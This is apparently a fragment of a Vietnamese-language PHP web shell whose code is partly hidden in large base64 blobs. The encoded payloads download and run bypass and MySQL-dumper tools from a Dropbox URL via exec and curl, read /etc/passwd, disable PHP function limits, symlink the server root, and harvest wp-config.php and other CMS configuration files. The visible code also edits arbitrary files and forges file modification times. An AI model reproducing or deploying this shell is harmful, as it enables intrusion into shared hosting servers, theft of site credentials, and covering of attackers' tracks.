l3ZFdKc2FXTmZhSFJ0YkM5aWFXeHNhVzVuTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdKcGJHeHBibWN1ZEhoMEp5azdJQXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YldGdVlXZGxMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV0pwYkd4cGJtY3VkSGgwSnlrN0lBcHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiWGt2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0WW1sc2JHbHVaeTUwZUhRbktUc2dDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl0ZVhOb2IzQXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RZbWxzYkdsdVp5NTBlSFFuS1RzZ0NuMEthV1lnS0NSRlRsWjdKMUpGVVZWRlUxUmZUVVZVU0U5RUozMGdaWEVnSjFCUFUxUW5LU0I3Q2lBZ2NtVmhaQ2hUVkVSSlRpd2dKR0oxWm1abGNpd2dKRVZPVm5zblEwOU9WRVZPVkY5TVJVNUhWRWduZlNrN0NuMGdaV3h6WlNCN0NpQWdKR0oxWm1abGNpQTlJQ1JGVGxaN0oxRlZSVkpaWDFOVVVrbE9SeWQ5T3dwOUNrQndZV2x5Y3lBOUlITndiR2wwS0M4bUx5d2dKR0oxWm1abGNpazdDbVp2Y21WaFkyZ2dKSEJoYVhJZ0tFQndZV2x5Y3lrZ2V3b2dJQ2drYm1GdFpTd2dKSFpoYkhWbEtTQTlJSE53YkdsMEtDODlMeXdnSkhCaGFYSXBPd29nSUNSdVlXMWxJRDErSUhSeUx5c3ZJQzg3Q2lBZ0pHNWhiV1VnUFg0Z2N5OGxLRnRoTFdaQkxVWXdMVGxkVzJFdFprRXRSakF0T1YwcEwzQmhZMnNvSWtNaUxDQm9aWGdvSkRFcEtTOWxaenNLSUNBa2RtRnNkV1VnUFg0Z2RISXZLeThnTHpzS0lDQWtkbUZzZFdVZ1BYNGdjeThsS0Z0aExXWkJMVVl3TFRsZFcyRXRaa0V0UmpBdE9WMHBMM0JoWTJzb0lrTWlMQ0JvWlhnb0pERXBLUzlsWnpzS0lDQWtSazlTVFhza2JtRnRaWDBnUFNBa2RtRnNkV1U3Q24wS2FXWWdLQ1JHVDFKTmUzQmhjM045SUdWeElDSWlLWHNLY0hKcGJuUWdKd284WW05a2VTQmpiR0Z6Y3owaWJtVjNVM1I1YkdVeElpQmlaMk52Ykc5eVBTSWpNREF3TURBd0lqNEtQSE53WVc0Z2MzUjViR1U5SW5SbGVIUXRaR1ZqYjNKaGRHbHZiam9nYm05dVpTSStQR1p2Ym5RZ1kyOXNiM0k5SWlNd01FWkdNREFpUG5ONWJXeHFibXNnWVd4c0lHTnZibVpwWnp3dlptOXVkRDQ4TDNOd1lXNCtQQzloUGlBS1BHWnZjbTBnYldWMGFHOWtQU0p3YjNOMElqNEtQSFJsZUhSaGNtVmhJRzVoYldVOUluQmhjM01pSUhOMGVXeGxQU0ppYjNKa1pYSTZNWEI0SUdSdmRIUmxaQ0FqTURCR1JrWkdPeUIzYVdSMGFEb2dOVFF6Y0hnN0lHaGxhV2RvZERvZ05ESXdjSGc3SUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpCRE1FTXdRenNnWm05dWRDMW1ZVzFwYkhrNlZHRm9iMjFoT3lCbWIyNTBMWE5wZW1VNk9IQjBPeUJqYjJ4dmNqb2pNREJHUmtaR0lpQWdQand2ZEdWNGRHRnlaV0UrUEdKeUlDOCtDaVp1WW5Od096eHdQZ284YVc1d2RYUWdibUZ0WlQwaWRHRnlJaUIwZVhCbFBTSjBaWGgwSWlCemRIbHNaVDBpWW05eVpHVnlPakZ3ZUNCa2IzUjBaV1FnSXpBd1JrWkdSanNnZDJsa2RHZzZJREl4TW5CNE95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pTXdRekJETUVNN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPamh3ZERzZ1kyOXNiM0k2SXpBd1JrWkdSanNnSWlBZ0x6NDhZbklnTHo0S0ptNWljM0E3UEM5d1BnbzhjRDRLUEdsdWNIVjBJRzVoYldVOUlsTjFZbTFwZERFaUlIUjVjR1U5SW5OMVltMXBkQ0lnZG1Gc2RXVTlJa2RsZENCRGIyNW1hV2NpSUhOMGVXeGxQU0ppYjNKa1pYSTZNWEI0SUdSdmRIUmxaQ0FqTURCR1JrWkdPeUIzYVdSMGFEb2dPVGs3SUdadmJuUXRabUZ0YVd4NU9sUmhhRzl0WVRzZ1ptOXVkQzF6YVhwbE9qRXdjSFE3SUdOdmJHOXlPaU13TUVaR1JrWTdJSFJsZUhRdGRISmhibk5tYjNKdE9uVndjR1Z5WTJGelpUc2dhR1ZwWjJoME9qSXpPeUJpWVdOclozSnZkVzVrTFdOdmJHOXlPaU13UXpCRE1FTWlJQzgrUEM5d1BnbzhMMlp2Y20wK0p6c0tmV1ZzYzJWN0NrQnNhVzVsY3lBOVBDUkdUMUpOZTNCaGMzTjlQanNLSkhrZ1BTQkFiR2x1WlhNN0NtOXdaVzRnS0UxWlJrbE1SU3dnSWo1MFlYSXVkRzF3SWlrN0NuQnlhVzUwSUUxWlJrbE1SU0FpZEdGeUlDMWplbVlnSWk0a1JrOVNUWHQwWVhKOUxpSXVkR0Z5SUNJN0NtWnZjaUFvSkd0aFBUQTdKR3RoUENSNU95UnJZU3NyS1hzS2QyaHBiR1VvUUd4cGJtVnpXeVJyWVYwZ0lEMStJRzB2S0M0cVB5azZlRG92WnlsN0NpWnNhV3dvSkRFcE93cHdjbWx1ZENCTldVWkpURVVnSkRFdUlpNTBlSFFnSWpzS1ptOXlLQ1JyWkQweE95UnJaRHd4T0Rza2EyUXJLeWw3Q25CeWFXNTBJRTFaUmtsTVJTQWtNUzRrYTJRdUlpNTBlSFFnSWpzS2ZRcDlDaUI5Q25CeWFXNTBKenhpYjJSNUlHTnNZWE56UFNKdVpYZFRkSGxzWlRFaUlHSm5ZMjlzYjNJOUlpTXdNREF3TURBaVBnbzhjRDVFYjI1bElDRWhQQzl3UGdvOGNENG1ibUp6Y0RzOEwzQStKenNLYVdZb0pFWlBVazE3ZEdGeWZTQnVaU0FpSWlsN0NtOXdaVzRvU1U1R1R5d2dJblJoY2k1MGJYQWlLVHNLUUd4cGJtVnpJRDA4U1U1R1R6NGdPd3BqYkc5elpTaEpUa1pQS1RzS2MzbHpkR1Z0S0VCc2FXNWxjeWs3Q25CeWFXNTBKenh3UGp4aElHaHlaV1k5SWljdUpFWlBVazE3ZEdGeWZTNG5MblJoY2lJK1BHWnZiblFnWTI5c2IzSTlJaU13TUVaR01EQWlQZ284YzNCaGJpQnpkSGxzWlQwaWRHVjRkQzFrWldOdmNtRjBhVzl1T2lCdWIyNWxJajVEYkdsamF5QklaWEpsSUZSdklFUnZkMjVzYjJGa0lGUmhjaUJHYVd4bFBDOXpjR0Z1UGp3dlptOXVkRDQ4TDJFK1BDOXdQaWM3Q24wS2ZRb2djSEpwYm5RaUNqd3ZZbTlrZVQ0S1BDOW9kRzFzUGlJNwonOwoKJGZpbGUgPSBmb3BlbigiY29uZmlnLml6byIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25maWdzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImNvbmZpZy5pem8iLDA3NTUpOwogICBlY2hvICI8aWZyYW1lIHNyYz1hbGxjb25maWcvY29uZmlnLml6byB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTUnXSkpCnsKICAgIG1rZGlyKCdieXBhc3NiaW4nLDA3NTUpOwogICAgY2hkaXIoJ2J5cGFzc2JpbicpOwoKQGV4ZWMoJ2N1cmwgaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzQ0MjUzOTEvYnlwYXNzLnRhci5neiAtbyBieXBhc3MudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBieXBhc3MudGFyLmd6Jyk7CkBleGVjKCdjaG1vZCA3NTUgLi9ieXBhc3MvbG4nKTsKQGV4ZWMoJy4vYnlwYXNzL2xuIC1zIC9ldGMvcGFzc3dkIDEucGhwJyk7CiAgIGVjaG8gIjxpZnJhbWUgc3JjPWJ5cGFzc2Jpbi8xLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE2J10pKQp7CkBta2RpcigibXlzcWxkdW1wZXIiKTsKQGNoZGlyKCJteXNxbGR1bXBlciIpOwpAZXhlYygnY3VybCBodHRwOi8vZGwuZHJvcGJveC5jb20vdS83NDQyNTM5MS9teXNxbGR1bXBlci50YXIuZ3ogLW8gbXlzcWxkdW1wZXIudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBteXNxbGR1bXBlci50YXIuZ3onKTsKCWVjaG8gIjxpZnJhbWUgc3JjPW15c3FsZHVtcGVyL2luZGV4LnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KPz4KCiAgICAgICAgPHRkIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxmb3JtIG5hbWU9J0YxJyBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyBDcmVhdCBQeXRob24gICc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTMnIHZhbHVlPScgQ3JlYXQgIENnaSAgICAnPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDExJyB2YWx1ZT0nMS5TeW0gQWxsIENvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NycgdmFsdWU9JzIuSHRhY2Nlc3MgQWxsIENvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NicgdmFsdWU9JzMuQnJ1dGUgQ3BhbmVsJz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNScgdmFsdWU9JyAvZXRjL3Bhc3N3ZCAgICc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgTXkgU1FMIER1bXBlciAnPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEwJyB2YWx1ZT0ndGFyIC14dmYgU3ltLnRhcic+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTInIHZhbHVlPScxLlN5bSBMaW5rIFVzZXIgJz4KCQkJICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0OScgdmFsdWU9JzIuSHRhY2Nlc3MgTGlzdCAnPgoJCQkgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQ4JyB2YWx1ZT0nMy5IdGFjY2VzcyBFbXB0eSc+CgkJCSAgPC9mb3JtPgogICAgPC90ZD4KICAgCjwvYm9keT4KPC9odG1sPg==
  1515. ';
  1516.     $file       = fopen("bypass.php", "w+");
  1517.     $write      = fwrite($file, base64_decode($perltoolss));
  1518.     fclose($file);
  1519.     echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe> ";
  1520. }
  1521. elseif ($action == 'editfile') {
  1522.     if (file_exists($opfile)) {
  1523.         $fp       = @fopen($opfile, 'r');
  1524.         $contents = @fread($fp, filesize($opfile));
  1525.         @fclose($fp);
  1526.         $contents = htmlspecialchars($contents);
  1527.     }
  1528.     formhead(array(
  1529.         'title' => 'T&#7841;o M&#7899;i File / Ch&#7881;nh S&#7917;a File'
  1530.     ));
  1531.     makehide('action', 'file');
  1532.     makehide('dir', $nowpath);
  1533.     makeinput(array(
  1534.         'title' => 'T&#7879;p Tin Hi&#7879;n T&#7841;i (Vi&#7871;t N&#7897;i Dung File V&#224;o B&#234;n D&#432;&#7899;i &#272;&#432;&#7901;ng D&#7851;n)',
  1535.         'name' => 'editfilename',
  1536.         'value' => $opfile,
  1537.         'newline' => 1
  1538.     ));
  1539.     maketext(array(
  1540.         'title' => 'N&#7897;i Dung C&#7911;a File',
  1541.         'name' => 'filecontent',
  1542.         'value' => $contents
  1543.     ));
  1544.     formfooter();
  1545. } elseif ($action == 'newtime') {
  1546.     $opfilemtime = @filemtime($opfile);
  1547.     $cachemonth  = array(
  1548.         'January' => 1,
  1549.         'February' => 2,
  1550.         'March' => 3,
  1551.         'April' => 4,
  1552.         'May' => 5,
  1553.         'June' => 6,
  1554.         'July' => 7,
  1555.         'August' => 8,
  1556.         'September' => 9,
  1557.         'October' => 10,
  1558.         'November' => 11,
  1559.         'December' => 12
  1560.     );
  1561.     formhead(array(
  1562.         'title' => 'Th&#7901;i Gian S&#7917;a &#272;&#7893;i Cu&#7889;i C&#249;ng C&#7911;a T&#7879;p Tin/B&#7843;n Sao'
  1563.     ));
  1564.     makehide('action', 'file');
  1565.     makehide('dir', $nowpath);
  1566.     makeinput(array(
  1567.         'title' => '&#272;&#432;&#7901;ng D&#7851;n C&#7911;a File S&#7917;a &#272;&#7893;i',
  1568.         'name' => 'curfile',
  1569.         'value' => $opfile,
  1570.         'size' => 120,
  1571.         'newline' => 1
  1572.     ));
  1573.     makeinput(array(
  1574.         'title' => 'T&#7879;p Tin/T&#224;i Li&#7879;u (Tham Kh&#7843;o)',
  1575.         'name' => 'tarfile',
  1576.         'size' => 120,
  1577.         'newline' => 1
  1578.     ));
  1579.     formfooter();
  1580.     formhead(array(
  1581.         'title' => 'Thi&#7871;t L&#7853;p >> Thay &#272;&#7893;i Cu&#7889;i C&#249;ng'
  1582.     ));
  1583.     makehide('action', 'file');
  1584.     makehide('dir', $nowpath);
  1585.     makeinput(array(
  1586.         'title' => 'T&#7879;p Tin Hi&#7879;n T&#7841;i (&#272;&#432;&#7901;ng D&#7851;n &#272;&#7847;y &#272;&#7911;)',
  1587.         'name' => 'curfile',
  1588.         'value' => $opfile,
  1589.         'size' => 120,
  1590.         'newline' => 1
  1591.     ));
  1592.     p('<p>Thay &#272;&#7893;i &raquo;');
  1593.     p('N&#259;m');
  1594.     makeinput(array(
  1595.         'name' => 'year',
  1596.         'value' => date('Y', $opfilemtime),
  1597.         'size' => 4
  1598.     ));
  1599.     p('Th&#225;ng:');
  1600.     makeinput(array(
  1601.         'name' => 'month',
  1602.         'value' => date('m', $opfilemtime),
  1603.         'size' => 2
  1604.     ));
  1605.     p('Ng&#224;y:');
  1606.     makeinput(array(
  1607.         'name' => 'day',
  1608.         'value' => date('d', $opfilemtime),
  1609.         'size' => 2
  1610.     ));
  1611.     p('Gi&#7901;:');
  1612.     makeinput(array(
  1613.         'name' => 'hour',
  1614.         'value' => date('H', $opfilemtime),
  1615.         'size' => 2
  1616.     ));
  1617.     p('Ph&#250;t:');
  1618.     makeinput(array(
  1619.         'name' => 'minute',
  1620.         'value' => date('i', $opfilemtime),
  1621.         'size' => 2
  1622.     ));
  1623.     p('Gi&#226;y:');
  1624.     makeinput(array(
  1625.         'name' => 'second',
  1626.         'value' => date('s', $opfilemtime),
  1627.         'size' => 2
  1628.     ));
  1629.     p('</p>');
  1630.     formfooter();
  1631. }
  1632. elseif ($action == 'symroot') {
  1633.     $file       = fopen($dir . "symroot.php", "w+");
  1634.     $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3QgYnkgS3ltIExqbmtdXT09LS08L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cgo8U1RZTEU+CmJvZHkgewpmb250LWZhbWlseTogVGFob21hCn0KdHIgewpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsKY29sb3I6ICNGRkY7Cn0KdGQgewpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsKY29sb3I6ICNGRkY7Cn0KLnRhYmxlMSB7CkJPUkRFUjogMHB4IEJsYWNrOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNGRkY7Cn0KLnRkMSB7CkJPUkRFUjogMHB4OwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CmZvbnQ6IDdwdCBWZXJkYW5hOwpjb2xvcjogR3JlZW47Cn0KLnRyMSB7CkJPUkRFUjogMHB4OwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CmNvbG9yOiAjRkZGOwp9CnRhYmxlIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjRkZGOwp9CmlucHV0IHsKYm9yZGVyCQkJOiBkYXNoZWQgMXB4Owpib3JkZXItY29sb3IJCTogIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDhwdCBWZXJkYW5hOwpjb2xvcjogUmVkOwp9CnNlbGVjdCB7CkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgI0RGMDAwMCAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICNERjAwMDAgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7CkJPUkRFUi1jb2xvcjogI0ZGRjsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDhwdCBWZXJkYW5hOwpjb2xvcjogUmVkOwp9CnN1Ym1pdCB7CkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0OwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKd2lkdGg6IDMwJTsKY29sb3I6ICNGRkY7Cn0KdGV4dGFyZWEgewpib3JkZXIJCQk6IGRhc2hlZCAxcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjOTk5Owp9CkJPRFkgewoJU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItU0hBRE9XLWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItM0RMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogI0ZGRgptYXJnaW46IDFweDsKY29sb3I6IFJlZDsKYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7Cn0KLm1haW4gewptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKfQoudHQgewpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsKfQoKQTpsaW5rIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9Cjwvc2NyaXB0Pic7ID8+CjxodG1sPgoJPGhlYWQ+CgkJPD9waHAgCgkJZWNobyAkaGVhZCA7CgkJZWNobyAnCgo8dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRiMSIgPgoKCQkJCgogICAgICAgPHRkIHdpZHRoPSIxMDAlIiBhbGlnbj1jZW50ZXIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPgogICAgICAgICAgIDxmb250IGNvbG9yPXJlZCBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+LS09PVtbIFN5bSBsam5rIEFMbCBDb25GaWc8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiAgICsgU3ltIFJvb3QgPC9mb250Pjxmb250IGNvbG9yPWdyZWVuIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gVGVhbSBieSBLeW0gTGpuayBdXT09LS08L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiAKCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0IiBjbGFzcz0idGQxIj48L3RkPjwvdHI+PHRyPjx0ZCAKICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IAogICAgICAgIGNvbG9yPSJyZWQiIGZhY2U9ImNvbWljIHNhbnMgbXMic2l6ZT0iMSI+PGI+IAogICAgICAgIAkJCQkJCiAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAKCic7IAoKPz4KPGNlbnRlcj4KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPjEuIENyZWF0IHBocC5pbmkgZmlsZTwvZm9udD48cD4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aW5pIHZhbHVlPSJ1c2UgdG8gR2VuZXJhdGUgUEhQLmluaSIgLz48L2Zvcm0+Cjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4yLiBHZXQgdXNlcm5hbWVzIGZvciBzeW1saW5rPC9mb250PjxwPgoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InVzcmUiIHZhbHVlPSJ1c2UgdG8gRXh0cmFjdCB1c2VybmFtZXMiIC8+PC9mb3JtPgoJCgk8P3BocAoJaWYoaXNzZXQoJF9QT1NUWydpbmknXSkpCgl7CgkJCgkJJHI9Zm9wZW4oJ3BocC5pbmknLCd3Jyk7CgkJJHJyPSIgZGlzYmFsZV9mdW5jdGlvbnM9bm9uZSAiOwoJCWZ3cml0ZSgkciwkcnIpOwoJCSRsaW5rPSI8YSBocmVmPXBocC5pbmk+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+PHU+b3BlbiBQSFAuSU5JPC91PjwvZm9udD48L2E+IjsKCQllY2hvICRsaW5rOwkKCQl9Cgk/PgoJPD9waHAKCWlmKGlzc2V0KCRfUE9TVFsndXNyZSddKSl7CgkJPz48Zm9ybSBtZXRob2Q9cG9zdD4KCTx0ZXh0YXJlYSByb3dzPTEwIGNvbHM9NTAgbmFtZT11c2VyPjw/cGhwICAkdXNlcnM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj1leHBsb2RlKCI6IiwkdXNlcik7CmVjaG8gJHN0clswXS4iXG4iOwp9Cgo/PjwvdGV4dGFyZWE+PGJyPjxicj4KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJMZXRzIFN0YXJ0IiAvPjwvZm9ybT4KCTw/cGhwIH0gPz4KCTw/cGhwCgllcnJvcl9yZXBvcnRpbmcoMCk7CgllY2hvICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2Rpcignc3ltJywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJFN5bSA9IHN5bWxpbmsoIi8iLCJzeW0vcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9c3ltL3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IFN5bTwvZm9udD48L2E+IjsKICAgICAgICBlY2hvICJSb290IC8gZm9sZGVyIHN5bWxpbmsgPGJyPjx1PiRydDwvdT4iOwoJCQoJCSRkaXI9bWtkaXIoJ3N5bScsMDc3Nyk7CgkJJHIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiAgICAgICAgJGYgPSBmb3Blbignc3ltLy5odGFjY2VzcycsJ3cnKTsKICAgCiAgICAgICAgZndyaXRlKCRmLCRyKTsKICAgICAgICAkY29uc3ltPSI8YSBocmVmPXN5bS8+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+Y29uZmlndXJhdGlvbiBmaWxlczwvZm9udD48L2E+IjsKICAgICAgIAllY2hvICI8YnI+U3ltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPVwiY29taWMgc2FucyBtc1wiPiRjb25zeW08L2ZvbnQ+PC91PiI7CiAgICAgICAJCiAgICAgICAJCSR1c3I9ZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlciddKTsKICAgICAgIAkkY29uZmlndXJhdGlvbj1hcnJheSgid3AtY29uZmlnLnBocCIsIndvcmRwcmVzcy93cC1jb25maWcucGhwIiwiY29uZmlndXJhdGlvbi5waHAiLCJibG9nL3dwLWNvbmZpZy5waHAiLCJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLCJ2Yi9pbmNsdWRlcy9jb25maWcucGhwIiwiaW5jbHVkZXMvY29uZmlnLnBocCIsImNvbmZfZ2xvYmFsLnBocCIsImluYy9jb25maWcucGhwIiwiY29uZmlnLnBocCIsIlNldHRpbmdzLnBocCIsInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwid2htL2NvbmZpZ3VyYXRpb24ucGhwIiwid2htY3MvY29uZmlndXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwid2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vd2htY3MvY29uZmln